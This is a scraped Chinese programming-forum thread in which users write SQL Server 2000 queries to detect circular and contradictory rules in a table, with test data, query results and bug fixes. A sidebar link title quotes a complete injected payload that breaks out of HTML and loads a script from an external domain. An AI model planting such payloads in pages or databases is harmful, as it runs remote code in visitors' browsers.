呵呵,我又来问问题了,唉!人笨,最后两个一起问了,大家多帮帮忙,最好是sql2000中,2005里面好多都不支持的第一个问题:求循环
有sql数据表tb
no select text 1 1 温度
1 1 气压
1 0 天气
1 1 水分
1 0 压力
26 1 气压
26 1 水分
26 0 天气
14 1 天气
14 0 湿度
14 1 压力
2 1 湿度
2 0 温度
…… (其中select中1代表条件,0代表结论) 语句表达循环是:
if a and b then c
-----if c then d
-----if d then b 得到结果id xunhuan xuhuan1
1 14 2也就是说
对于no1来说,就是温度,气压,水分推出天气和压力
对于no14来说,就是天气和压力推出湿度
对于no2来说,就是湿度推出温度这样判no14和no2对于no1造成了循环问题2:求矛盾
有sql数据表tb
no select text1 text2 1 1 温度 高
1 1 气压 高
1 0 天气 高
1 1 水分 正常
1 0 压力 高
26 1 气压 高
26 1 水分 高
26 0 天气 高
14 1 水分 正常
14 0 天气 低
14 1 温度 高
14 1 气压 高
14 0 压力 高
…… (其中select中1代表条件,0代表结论) 语句表达循环是:
if a and b then c=c1
if a and b then c=c2
得到结果id maodun
1 14 也就是说
对于no1来说,就是温度=高,气压=高,水分=正常推出天气=高和压力=高
对于no14来说,就是温度=高,气压=高,水分=正常推出天气=低和压力=高这样判no14对于no1造成了矛盾
有sql数据表tb
no select text 1 1 温度
1 1 气压
1 0 天气
1 1 水分
1 0 压力
26 1 气压
26 1 水分
26 0 天气
14 1 天气
14 0 湿度
14 1 压力
2 1 湿度
2 0 温度
…… (其中select中1代表条件,0代表结论) 语句表达循环是:
if a and b then c
-----if c then d
-----if d then b 得到结果id xunhuan xuhuan1
1 14 2也就是说
对于no1来说,就是温度,气压,水分推出天气和压力
对于no14来说,就是天气和压力推出湿度
对于no2来说,就是湿度推出温度这样判no14和no2对于no1造成了循环问题2:求矛盾
有sql数据表tb
no select text1 text2 1 1 温度 高
1 1 气压 高
1 0 天气 高
1 1 水分 正常
1 0 压力 高
26 1 气压 高
26 1 水分 高
26 0 天气 高
14 1 水分 正常
14 0 天气 低
14 1 温度 高
14 1 气压 高
14 0 压力 高
…… (其中select中1代表条件,0代表结论) 语句表达循环是:
if a and b then c=c1
if a and b then c=c2
得到结果id maodun
1 14 也就是说
对于no1来说,就是温度=高,气压=高,水分=正常推出天气=高和压力=高
对于no14来说,就是温度=高,气压=高,水分=正常推出天气=低和压力=高这样判no14对于no1造成了矛盾
解决方案 »
- 求组
- 江湖救急,“UNION ALL”的疑问?
- SQL简单问题……
- 怎么才能知道当前链接的 SQL Server 数据库的兼容级别?
- 所有文字字段全部被修改为 </title></pre>"><script src=http://1.hao929.cn/ads.js></script><!--
- 请教一条简单的SQL语句
- 关于SQLSERVER JOB 报错的问题,请高手指点
- 求解,关于Sql Server 性能问题
- ***修改表的字段定义,或添加删除字段后,使用Select *的视图会无效***
- 如何做财务软件,怎么设计数据结构用access
- 请问如何用写sql函数,得到某个月有多少个星期六和星期天?
- 关于一个省/市表的问题
create table tl(nn int,ss int,tt varchar(10))
insert tl select 1, 1, '温度'
union select 1, 1, '气压'
union select 1, 0, '天气'
union select 1, 1, '水分'
union select 1, 0, '压力'
union select 26, 1, '气压'
union select 26, 1, '水分'
union select 26, 0, '天气'
union select 14, 1, '水分'
union select 14, 0, '湿度'
union select 14, 1, '温度'
union select 14, 1, '气压'
union select 2 , 1, '湿度'
union select 2 , 0, '天气'
go
select distinct nn,ann,bnn from tl a,
(select distinct a.nn ann,b.nn bnn from tl a,tl b
where a.nn<>b.nn and not exists(select 1 from
(select * from tl where ss = 0 and nn = a.nn) c full join
(select * from tl where ss = 1 and nn = b.nn) d on c.tt = b.tt
where c.nn is null or d.nn is null)) b
where nn <> ann and nn <> bnn
and not exists(select 1 from
(select * from tl where ss = 1 and nn=a.nn) c full join
(select * from tl where ss = 1 and nn =b.ann) d on c.tt = d.tt
where c.nn is null or d.nn is null)
and not exists(select 1 from
(select * from tl where ss = 0 and nn=a.nn) c right join
(select * from tl where ss = 0 and nn =b.bnn) d on c.tt = d.tt
where d.nn is null)
/*
nn ann bnn
----------- ----------- -----------
1 14 2
*/
go
drop table tl
from tl a,tl b
where a.nn <> b.nn
and not exists(select 1 from
(select * from tl where no=a.nn and ss=1) c full join
(select * from tl where no=b.nn and ss=1) d
on c.tt1+c.tt2 = d.tt1+d.tt2 where c.nn is null or d.nn is null)
and exists(select 1 from
(select * from tl where no=a.nn and ss=0) c full join
(select * from tl where no=b.nn and ss=0) d
on c.tt1+c.tt2 = d.tt1+d.tt2 where c.nn is null or d.nn is null)
14 1这样的情况
==>
where a.nn < b.nn
insert tl select 1, 1, '温度'
union select 1, 1, '气压'
union select 1, 0, '天气'
union select 1, 1, '水分'
union select 1, 0, '压力'
union select 26, 1, '气压'
union select 26, 1, '水分'
union select 26, 0, '天气'
union select 14, 1, '水分'
union select 14, 0, '湿度'
union select 14, 1, '温度'
union select 14, 1, '气压'
union select 2 , 1, '湿度'
union select 2 , 0, '天气'
go--将测试数据照抄一份,将nn加上100
insert tl select nn+100,ss,tt from tl
go--正确的结果应该是:/*
nn ann bnn
----------- ----------- -----------
1 14 2
1 14 102
1 114 2
1 114 102
101 14 2
101 14 102
101 114 2
101 114 102
*/
select distinct nn,ann,bnn from tl a,
(select distinct a.nn ann,b.nn bnn from tl a,tl b
where a.nn<>b.nn and not exists(select 1 from
(select * from tl where ss = 0 and nn = a.nn) c full join
(select * from tl where ss = 1 and nn = b.nn) d on c.tt = b.tt
where c.nn is null or d.nn is null)) b
where nn <> ann and nn <> bnn
and not exists(select 1 from
(select * from tl where ss = 1 and nn=a.nn) c full join
(select * from tl where ss = 1 and nn =b.ann) d on c.tt = d.tt
where c.nn is null or d.nn is null)
and not exists(select 1 from
(select * from tl where ss = 0 and nn=a.nn) c right join
(select * from tl where ss = 0 and nn =b.bnn) d on c.tt = d.tt
where d.nn is null)--语句得出的结果是:/*
nn ann bnn
----------- ----------- -----------
1 14 2
1 14 102
1 14 114
1 114 2
1 114 14
1 114 102
2 102 1
2 102 26
2 102 101
2 102 126
14 114 2
14 114 102
26 126 1
26 126 2
26 126 101
26 126 102
101 14 2
101 14 102
101 14 114
101 114 2
101 114 14
101 114 102
102 2 1
102 2 26
102 2 101
102 2 126
114 14 2
114 14 102
126 26 1
126 26 2
126 26 101
126 26 102
*/
godrop table tl
on c.tt = b.tt
==》
on c.tt = d.tt
不过
14 114 2 和 114 14 2 应该属于正解。